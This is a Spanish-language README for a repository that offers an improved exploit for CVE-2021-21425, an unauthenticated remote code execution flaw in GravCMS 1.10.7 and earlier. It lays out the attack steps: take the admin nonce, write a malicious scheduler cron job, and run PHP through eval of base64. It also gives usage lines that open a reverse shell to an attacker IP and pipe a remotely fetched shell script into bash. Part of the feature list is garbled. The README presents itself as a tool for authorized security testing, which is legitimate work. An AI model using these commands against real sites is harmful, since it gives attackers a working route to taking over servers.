
CVE-2021-21425 - GravCMS 1.10.7 RCE no autenticado a través del Programador. Exploit mejorado con argumentos CLI y codificación base64 automática.
Prueba de concepto mejorada para CVE-2021-21425, una vulnerabilidad de ejecución remota de código no autenticado en GravCMS <= 1.10.7 mediante escritura arbitraria de YAML en el planificador.
Este es un trabajo derivado. La vulnerabilidad y el exploit original no son míos.
| Rol | Quién |
|---|---|
| Vulnerabilidad descubierta por | Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — marzo de 2021 |
| PoC original por | "legend" — Exploit-DB EDB-49973 |
| Modificaciones en este repositorio por | d4ytox |
El EDB-49973 original requiere editar manualmente valores codificados en el script. Esta versión añade:
-c)Son cambios de usabilidad sobre un exploit existente. No se reclama investigación de vulnerabilidades.
| Campo | Valor |
|---|---|
| CVE | CVE-2021-21425 |
| EDB-ID | 49973 |
| Afecta a | GravCMS <= 1.10.7 |
| Tipo | RCE no autenticado |
| CVSS | 9.8 (Crítico) |
El plugin Grav Admin no verifica la autenticación en ciertas rutas de administración, lo que permite a usuarios no autenticados escribir configuración YAML arbitraria. Este exploit abusa de la configuración del planificador para crear una tarea cron que ejecuta código PHP arbitrario.
# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>
# Comando personalizado
python3 exploit.py -t http://target -c "id"
# Obtener reverse shell en el objetivo
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444
# Ejecutar comando
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"
pip install requests
/admin para extraer el token admin-nonce (no se requiere autenticación debido a la vulnerabilidad)/admin/config/scheduler con una configuración de tarea cron maliciosa/usr/bin/php -r eval(base64_decode(...))/tmp/rev.sh y lo ejecutaLa tarea cron se ejecuta cada minuto (* * * * *), por lo que la shell llega en menos de 60 segundos.
MIT, aplicándose únicamente a las modificaciones de este repositorio. El PoC original no tiene licencia, por lo que sigue siendo todos los derechos reservados por su autor. Consulta LICENSE para el aviso completo de atribución.
Solo para pruebas de seguridad autorizadas. Asegúrate de tener permiso por escrito antes de probar contra cualquier sistema.